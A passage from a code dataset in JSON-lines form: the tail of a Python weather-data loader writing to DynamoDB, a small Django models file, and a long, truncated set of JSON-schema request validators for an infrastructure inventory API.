str(checkApiJosnNumNull(json_data,x,'Minimum Air Temperature',minimumAirTemperature))\n relativeHumidity = str(checkApiJosnNumNull(json_data,x,'Relative Humidity',relativeHumidity))\n windSpeed = str(checkApiJosnNumNull(json_data,x,'Wind Speed',windSpeed))\n windDirection = str(checkApiJosnTextNull(json_data,x,'Wind Direction',windDirection))\n past60MinutesRainfall = str(checkApiJosnNumNull(json_data,x,'Past 60-Minutes Rainfall',past60MinutesRainfall))\n uvIndex = str(checkApiJosnNumNull(json_data,x,'UV Index',uvIndex))\n maximumUV = str(checkApiJosnNumNull(json_data,x,'Maximum UV',maximumUV))\n solarRadiation = str(checkApiJosnNumNull(json_data,x,'Solar Radiation',solarRadiation))\n seaLevelPressure = str(checkApiJosnNumNull(json_data,x,'Sea-Level Pressure',seaLevelPressure))\n \n item = {\n 'daynum': daynum,'inputtime' : inputtime ,'airTemperature': (airTemperature),\n 'maximumAirTemperature':(maximumAirTemperature),'minimumAirTemperature':(minimumAirTemperature),\n 'relativeHumidity':(relativeHumidity),'windSpeed':(windSpeed),'windDirection':windDirection,\n 'past60MinutesRainfall':(past60MinutesRainfall),'uvIndex':(uvIndex),'maximumUV':(maximumUV),\n 'solarRadiation':(solarRadiation),'seaLevelPressure':(seaLevelPressure)}\n table.put_item(Item=item)\n else:\n noSchoolNum = noSchoolNum + 1\n\n","sub_path":"weatherdoc/html/weather/v2/cwget11.py","file_name":"cwget11.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"401771815","text":"from django.db import models\n\n\nclass PrimaryEntity(models.Model):\n\n int_primary = models.IntegerField()\n\n str_primary = models.CharField(max_length=10)\n\n def __repr__(self):\n return ''\n\nclass NestedEntity(models.Model):\n\n int_data = models.IntegerField()\n\n str_data = models.CharField(max_length=10)\n\n parent = models.ForeignKey(PrimaryEntity, related_name='nested')\n\n def __repr__(self):\n return ''\n\nclass DeeplyNestedEntity(models.Model):\n\n int_data = models.IntegerField()\n\n str_data = models.CharField(max_length=10)\n\n parent = models.ForeignKey(NestedEntity, related_name='nested')\n\n def __repr__(self):\n return ''\n","sub_path":"demo/application/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"493591350","text":"import copy\n\nDefinitionVariablesSource = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"patternProperties\": {\n \"^.+\": {\n \"anyOf\": [\n {\n \"type\": \"string\",\n },\n {\n \"type\": \"null\",\n },\n {\n \"type\": \"number\",\n },\n {\n \"type\": \"boolean\",\n },\n {\n \"type\": \"integer\",\n },\n {\n \"type\": \"array\",\n },\n {\n \"type\": \"object\",\n },\n ],\n },\n },\n}\n\nDefinitionDeleteVariables = {\n \"type\": \"array\",\n \"items\": {\"type\": \"string\"},\n}\n\nDefinitionLinks = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"required\": [\n \"href\",\n \"rel\",\n ],\n \"properties\": {\n \"href\": {\n \"type\": \"string\",\n },\n \"rel\": {\n \"type\": \"string\",\n }\n }\n }\n}\n\n# These are properties that should be excluded in any POST call\n# such that a resource can not be created with these in request body.\nblacklisted_create_properties = [\"id\", \"created_at\", \"updated_at\"]\n\n# Blacklisted create properties with project_id addition\nblacklisted_with_project_id = blacklisted_create_properties + [\"project_id\"]\n\n\ndef _remove_properties(properties, remove_list):\n props = copy.copy(properties)\n for prop in remove_list:\n props.pop(prop)\n return props\n\nDefinitionsLabel = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"labels\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"string\",\n },\n },\n },\n}\n\nDefinitionsError = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"fields\": {\n \"type\": \"string\",\n },\n \"message\": {\n \"type\": \"string\",\n },\n \"code\": {\n \"type\": \"integer\",\n \"format\": \"int32\",\n },\n },\n}\n\nHostProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"active\": {\n \"type\": \"boolean\",\n },\n \"note\": {\n \"type\": \"string\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n },\n \"cell_id\": {\n \"type\": \"integer\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"parent_id\": {\n \"type\": \"integer\",\n \"description\": \"Parent Id of this host\",\n },\n \"device_type\": {\n \"type\": \"string\",\n \"description\": \"Type of host\",\n },\n \"labels\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"string\",\n },\n \"description\": \"User defined labels\",\n },\n \"region_id\": {\n \"type\": \"integer\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"variables\": DefinitionVariablesSource,\n \"links\": DefinitionLinks,\n}\n\nDefinitionsHost = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n \"ip_address\",\n \"device_type\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": HostProperties,\n}\n\nDefinitionsHostId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": HostProperties,\n}\n\nDefinitionHostCreate = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n \"ip_address\",\n \"device_type\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(HostProperties,\n blacklisted_with_project_id),\n}\n\nCellProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"note\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"region_id\": {\n \"type\": \"integer\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"Unique ID of the cell\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionsCell = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": CellProperties,\n}\n\nDefinitionsCellId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": CellProperties,\n}\n\nDefinitionsCellCreate = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(CellProperties,\n blacklisted_with_project_id),\n}\n\nRegionProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"note\": {\n \"type\": \"string\",\n \"description\": \"Region Note\",\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"Region Name\",\n },\n \"cells\": {\n \"items\": DefinitionsCell,\n \"type\": \"array\",\n \"description\": \"List of cells in this region\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"Unique ID for the region\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionsRegion = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": RegionProperties,\n}\n\nDefinitionsRegionId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": RegionProperties,\n}\n\nDefinitionsRegionCreate = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(RegionProperties,\n blacklisted_with_project_id),\n}\n\nCloudProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"note\": {\n \"type\": \"string\",\n \"description\": \"Cloud Note\",\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"Cloud Name\",\n },\n \"regions\": {\n \"items\": DefinitionsRegion,\n \"type\": \"array\",\n \"description\": \"List of regions in this cloud\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"Unique ID for the cloud\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionsCloud = {\n \"required\": [\n \"name\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": CloudProperties,\n}\n\nDefinitionsCloudId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": CloudProperties,\n}\n\nDefinitionsCloudCreate = {\n \"required\": [\n \"name\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(CloudProperties,\n blacklisted_with_project_id),\n}\n\nUserProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n },\n \"api_key\": {\n \"type\": \"string\",\n },\n \"username\": {\n \"type\": \"string\",\n },\n \"is_admin\": {\n \"type\": \"boolean\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"roles\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"string\",\n },\n },\n}\n\nDefinitionUser = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": UserProperties,\n}\n\nDefinitionUserCreate = {\n \"required\": [\n \"username\",\n \"project_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(UserProperties,\n blacklisted_create_properties),\n}\n\nProjectProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionProject = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": ProjectProperties,\n}\n\nDefinitionProjectCreate = {\n \"required\": [\n \"name\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(ProjectProperties,\n blacklisted_create_properties),\n}\n\nNetworkProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n },\n \"region_id\": {\n \"type\": \"integer\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"cell_id\": {\n \"type\": \"integer\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"cidr\": {\n \"type\": \"string\",\n },\n \"gateway\": {\n \"type\": \"string\",\n },\n \"netmask\": {\n \"type\": \"string\",\n },\n \"ip_block_type\": {\n \"type\": \"string\",\n },\n \"nss\": {\n \"type\": \"string\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionNetwork = {\n \"required\": [\n \"name\",\n \"cidr\",\n \"gateway\",\n \"netmask\",\n \"cloud_id\",\n \"region_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkProperties,\n}\n\nDefinitionNetworkId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkProperties,\n}\n\nDefinitionNetworkCreate = {\n \"required\": [\n \"name\",\n \"cidr\",\n \"gateway\",\n \"netmask\",\n \"cloud_id\",\n \"region_id\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(NetworkProperties,\n blacklisted_with_project_id),\n}\n\n\nNetworkInterfaceProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"device_id\": {\n \"type\": \"integer\",\n \"default\": None,\n },\n \"network_id\": {\n \"type\": \"integer\",\n \"default\": None,\n },\n \"interface_type\": {\n \"type\": \"string\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"vlan_id\": {\n \"type\": \"integer\",\n },\n \"vlan\": {\n \"type\": \"string\",\n },\n \"port\": {\n \"type\": \"integer\",\n },\n \"duplex\": {\n \"type\": \"string\",\n },\n \"speed\": {\n \"type\": \"integer\",\n },\n \"link\": {\n \"type\": \"string\",\n },\n \"cdp\": {\n \"type\": \"string\",\n },\n \"security\": {\n \"type\": \"string\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n },\n \"variables\": DefinitionVariablesSource,\n}\n\nDefinitionNetworkInterface = {\n \"required\": [\n \"name\",\n \"device_id\",\n \"interface_type\",\n \"ip_address\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkInterfaceProperties,\n}\n\nDefinitionNetworkInterfaceId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkInterfaceProperties,\n}\n\n\nDefinitionNetworkInterfaceCreate = {\n \"required\": [\n \"name\",\n \"device_id\",\n \"interface_type\",\n \"ip_address\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(NetworkInterfaceProperties,\n blacklisted_with_project_id),\n}\n\nNetworkDeviceProperties = {\n \"created_at\": {\n \"type\": \"string\",\n },\n \"updated_at\": {\n \"type\": \"string\",\n },\n \"id\": {\n \"type\": \"integer\",\n },\n \"region_id\": {\n \"type\": \"integer\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"cell_id\": {\n \"type\": \"integer\",\n },\n \"parent_id\": {\n \"type\": \"integer\",\n },\n \"project_id\": {\n \"type\": \"string\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n },\n \"device_type\": {\n \"type\": \"string\",\n },\n \"active\": {\n \"type\": \"boolean\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"access_secret_id\": {\n \"type\": \"integer\",\n },\n \"model_name\": {\n \"type\": \"string\",\n },\n \"os_version\": {\n \"type\": \"string\",\n },\n \"vlans\": {\n \"type\": \"string\",\n },\n \"interface_id\": {\n \"type\": \"integer\",\n },\n \"network_id\": {\n \"type\": \"integer\",\n },\n \"variables\": DefinitionVariablesSource,\n \"links\": DefinitionLinks,\n}\n\nDefinitionNetworkDevice = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n \"device_type\",\n \"ip_address\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkDeviceProperties,\n}\n\nDefinitionNetworkDeviceId = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": NetworkDeviceProperties,\n}\n\nDefinitionNetworkDeviceCreate = {\n \"required\": [\n \"name\",\n \"cloud_id\",\n \"region_id\",\n \"device_type\",\n \"ip_address\",\n ],\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": _remove_properties(NetworkDeviceProperties,\n blacklisted_with_project_id),\n}\n\nDefinitionNoParams = {\n \"type\": \"object\",\n \"properties\": {},\n \"maxProperties\": 0,\n \"additionalProperties\": False,\n}\n\nDefinitionsPaginationLinks = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"rel\": {\n \"type\": \"string\",\n \"enum\": [\"first\", \"prev\", \"self\", \"next\"],\n \"description\": (\"Relation of the associated URL to the current\"\n \" page\"),\n },\n \"href\": {\n \"type\": \"string\",\n },\n },\n },\n}\n\n\ndef add_pagination_args(resource, args,\n minimum_page_size=10,\n default_page_size=30,\n maximum_page_size=100,\n marker_type=\"integer\"):\n args.update({\n \"limit\": {\n \"minimum\": minimum_page_size,\n \"default\": default_page_size,\n \"maximum\": maximum_page_size,\n \"type\": \"integer\",\n \"description\": \"Number of {}s to return in a page\".format(\n resource,\n ),\n },\n \"marker\": {\n \"type\": marker_type,\n \"description\": \"Last {} ID of the previous page\".format(\n resource,\n ),\n },\n \"sort_dir\": {\n \"type\": \"string\",\n \"enum\": [\"asc\", \"desc\"],\n \"description\": (\"Direction to sort the {}s based on keys \"\n \"specified to sort on.\").format(resource),\n },\n \"sort_keys\": {\n \"type\": \"string\",\n \"description\": \"Keys used to sort the {}s by.\".format(resource),\n },\n })\n return args\n\n\ndef paginated_resource(list_name, schema):\n return {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n list_name: {\n \"type\": \"array\",\n \"items\": schema,\n },\n \"links\": DefinitionsPaginationLinks,\n },\n }\n\n\nDefinitionDevicesPaginated = {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"devices\": {\n \"type\": \"object\",\n \"properties\": {\n \"hosts\": {\n \"type\": \"array\",\n \"items\": DefinitionsHost,\n },\n \"network-devices\": {\n \"type\": \"array\",\n \"items\": DefinitionNetworkDeviceId,\n },\n },\n },\n \"links\": DefinitionsPaginationLinks,\n },\n}\n\nvalidators = {\n (\"ansible_inventory\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"region_id\": {\n \"default\": None,\n \"type\": \"string\",\n \"description\": \"Region to generate inventory for\",\n },\n \"cell_id\": {\n \"default\": None,\n \"type\": \"string\",\n \"description\": \"Cell id to generate inventory for\",\n },\n },\n },\n },\n (\"devices\", \"GET\"): {\n \"args\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"devices\", {\n \"region_id\": {\n \"type\": \"integer\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n },\n \"cell_id\": {\n \"type\": \"integer\",\n },\n \"parent_id\": {\n \"type\": \"integer\",\n },\n \"active\": {\n \"type\": \"boolean\",\n },\n \"descendants\": {\n \"default\": False,\n \"type\": \"boolean\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n \"details\": {\n \"default\": False,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"hosts_labels\", \"PUT\"): {\n \"json\": DefinitionsLabel,\n },\n (\"hosts_labels\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"hosts_labels\", \"DELETE\"): {\n \"json\": DefinitionsLabel,\n },\n (\"hosts_id\", \"DELETE\"): {\n },\n (\"hosts_id\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n },\n },\n },\n (\"hosts_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"active\": {\n \"type\": \"boolean\",\n },\n \"note\": {\n \"type\": \"string\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"device_type\": {\n \"type\": \"string\",\n \"description\": \"Type of host\",\n },\n \"parent_id\": {\n \"anyOf\": [\n {\n \"type\": \"integer\",\n },\n {\n \"type\": \"null\",\n },\n ],\n \"description\": \"Parent Id of this host\",\n },\n },\n },\n },\n (\"regions\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"region\", {\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the region to get\",\n },\n \"details\": {\n \"type\": \"boolean\",\n \"description\": \"get detailed information\"\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cloud to get regions\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get a region\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the region to get\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"regions\", \"POST\"): {\n \"json\": DefinitionsRegionCreate,\n },\n (\"clouds\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"cloud\", {\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the cloud to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get a cloud\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cloud to get\",\n },\n \"details\": {\n \"default\": False,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"clouds\", \"POST\"): {\n \"json\": DefinitionsCloudCreate,\n },\n (\"hosts\", \"POST\"): {\n \"json\": DefinitionHostCreate,\n },\n (\"hosts\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"host\", {\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the hosts to get\",\n },\n \"details\": {\n \"type\": \"boolean\",\n \"description\": \"get detailed information\",\n },\n \"region_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the region to get hosts\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cloud to get hosts\",\n },\n \"cell_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cell to get hosts\",\n },\n \"device_type\": {\n \"type\": \"string\",\n \"description\": \"Type of host to get\",\n },\n \"label\": {\n \"type\": \"string\",\n \"description\": \"label to get host by\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n \"description\": \"ip_address of the hosts to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get a host\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"ID of host to get\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"cells_id\", \"DELETE\"): {\n },\n (\"cells_id\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n },\n },\n },\n (\"cells_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"note\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n },\n },\n },\n (\"cells\", \"POST\"): {\n \"json\": DefinitionsCellCreate,\n },\n (\"cells\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"cell\", {\n \"region_id\": {\n \"type\": \"string\",\n \"description\": \"name of the region to get cells for\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cloud to get cells\",\n },\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"id of the cell to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get a cell\",\n },\n \"details\": {\n \"type\": \"boolean\",\n \"description\": \"get detailed information\",\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the cell to get\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"regions_id\", \"DELETE\"): {\n },\n (\"regions_id\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n },\n },\n },\n (\"regions_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n },\n \"note\": {\n \"type\": \"string\",\n },\n },\n },\n },\n (\"clouds_id\", \"DELETE\"): {\n },\n (\"clouds_id\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"clouds_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n },\n \"note\": {\n \"type\": \"string\",\n },\n },\n },\n },\n (\"projects\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"project\", {\n \"name\": {\n \"default\": None,\n \"type\": \"string\",\n \"description\": \"name of the project to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get a project\",\n },\n \"details\": {\n \"default\": False,\n \"type\": \"boolean\",\n },\n }, marker_type=\"string\"),\n },\n },\n (\"projects\", \"POST\"): {\n \"json\": DefinitionProjectCreate,\n },\n (\"projects_id\", \"DELETE\"): {\n },\n (\"projects_id\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"users\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"user\", {\n \"id\": {\n \"default\": None,\n \"type\": \"integer\",\n \"description\": \"id of the user to get\",\n },\n \"name\": {\n \"default\": None,\n \"type\": \"string\",\n \"description\": \"name of the user to get\",\n },\n }),\n },\n },\n (\"users\", \"POST\"): {\n \"json\": DefinitionUserCreate,\n },\n (\"users_id\", \"DELETE\"): {\n },\n (\"users_id\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"network_devices\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"network device\", {\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"id of the net device to get\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n \"description\": \"IP of the device to get\",\n },\n \"region_id\": {\n \"type\": \"string\",\n \"description\": \"region id of the device to get\",\n },\n \"cloud_id\": {\n \"type\": \"integer\",\n \"description\": \"ID of the cloud to get devices\",\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the device to get\",\n },\n \"details\": {\n \"type\": \"boolean\",\n \"description\": \"get detailed information\",\n },\n \"device_type\": {\n \"type\": \"string\",\n \"description\": \"type of the device to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get device\",\n },\n \"cell_id\": {\n \"type\": \"string\",\n \"description\": \"cell id of the device to get\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n }),\n },\n },\n (\"network_devices_id\", \"DELETE\"): {\n },\n (\"network_devices_id\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n },\n },\n },\n (\"networks_id\", \"DELETE\"): {\n },\n (\"networks_id\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"networks_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n },\n \"cidr\": {\n \"type\": \"string\",\n },\n \"gateway\": {\n \"type\": \"string\",\n },\n \"netmask\": {\n \"type\": \"string\",\n },\n \"ip_block_type\": {\n \"type\": \"string\",\n },\n \"nss\": {\n \"type\": \"string\",\n },\n },\n },\n },\n (\"network_devices_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"ip_address\": {\n \"type\": \"string\",\n },\n \"device_type\": {\n \"type\": \"string\",\n },\n \"name\": {\n \"type\": \"string\",\n },\n \"model_name\": {\n \"type\": \"string\",\n },\n \"os_version\": {\n \"type\": \"string\",\n },\n \"vlans\": {\n \"type\": \"string\",\n },\n \"parent_id\": {\n \"anyOf\": [\n {\n \"type\": \"integer\",\n },\n {\n \"type\": \"null\",\n },\n ],\n },\n },\n },\n },\n (\"network_devices\", \"POST\"): {\n \"json\": DefinitionNetworkDeviceCreate,\n },\n (\"network_devices_labels\", \"DELETE\"): {\n \"json\": DefinitionsLabel,\n },\n (\"network_devices_labels\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"network_devices_labels\", \"PUT\"): {\n \"json\": DefinitionsLabel,\n },\n (\"network_interfaces\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"network interface\", {\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"id of the net interface to get\",\n },\n \"device_id\": {\n \"type\": \"integer\",\n \"description\": \"device id of the interface to get\",\n },\n \"ip_address\": {\n \"type\": \"string\",\n \"description\": \"IP of the interface to get\",\n },\n \"interface_type\": {\n \"type\": \"string\",\n \"description\": \"Type of the interface to get\",\n },\n }),\n },\n },\n (\"network_interfaces\", \"POST\"): {\n \"json\": DefinitionNetworkInterfaceCreate,\n },\n (\"network_interfaces_id\", \"DELETE\"): {\n },\n (\"network_interfaces_id\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"network_interfaces_id\", \"PUT\"): {\n \"json\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n },\n \"interface_type\": {\n \"type\": \"string\",\n },\n \"vlan\": {\n \"type\": \"string\",\n },\n \"port\": {\n \"type\": \"integer\",\n },\n \"duplex\": {\n \"type\": \"string\",\n },\n \"speed\": {\n \"type\": \"integer\",\n },\n \"link\": {\n \"type\": \"string\",\n },\n \"cdp\": {\n \"type\": \"string\",\n },\n \"security\": {\n \"type\": \"string\",\n },\n },\n },\n },\n (\"networks\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": add_pagination_args(\"network\", {\n \"id\": {\n \"type\": \"integer\",\n \"description\": \"id of the network to get\",\n },\n \"network_type\": {\n \"type\": \"string\",\n \"description\": \"type of the network to get\",\n },\n \"name\": {\n \"type\": \"string\",\n \"description\": \"name of the network to get\",\n },\n \"region_id\": {\n \"type\": \"string\",\n \"description\": \"region id of the network to get\",\n },\n \"vars\": {\n \"type\": \"string\",\n \"description\": \"variable filters to get networks\",\n },\n \"cell_id\": {\n \"type\": \"string\",\n \"description\": \"cell idof the network to get\",\n },\n \"resolved-values\": {\n \"default\": True,\n \"type\": \"boolean\",\n },\n \"details\": {\n \"default\": False,\n \"type\": \"boolean\",\n \"description\": \"get detailed information\",\n },\n }),\n },\n },\n (\"networks\", \"POST\"): {\n \"json\": DefinitionNetworkCreate,\n },\n (\"variables_with_resolve\", \"DELETE\"): {\n \"json\": DefinitionDeleteVariables,\n },\n (\"variables_with_resolve\", \"GET\"): {\n \"args\": {\n \"additionalProperties\": False,\n \"properties\": {\n \"resolved-values\": 